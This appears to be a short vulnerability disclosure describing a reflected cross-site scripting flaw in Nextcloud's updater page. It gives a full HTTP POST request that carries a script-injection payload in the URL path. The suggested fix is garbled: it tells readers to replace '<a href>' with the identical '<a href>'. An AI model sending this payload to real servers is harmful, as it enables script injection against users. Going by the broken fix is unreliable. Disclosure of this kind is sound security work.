Nextcloud: [Reflected XSS] In Request URL

In index.php file on 1765 we can see XSS:
<a href>
Because NextCloud allow links like: ‘/index.php/{ANY_CONTENT}’
If we will do request like:

POST /updater/index.php/h"><script>alert(1);</script> HTTP/1.1
Host: vulns.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

updater-secret-input={OUR_SECRET}

We will see Reflected XSS: F452129
To fix this vulnerability need to patch <a href> to <a href>

Impact

If the attacker knows the secret phrase, then they can implode illegitimate html code in page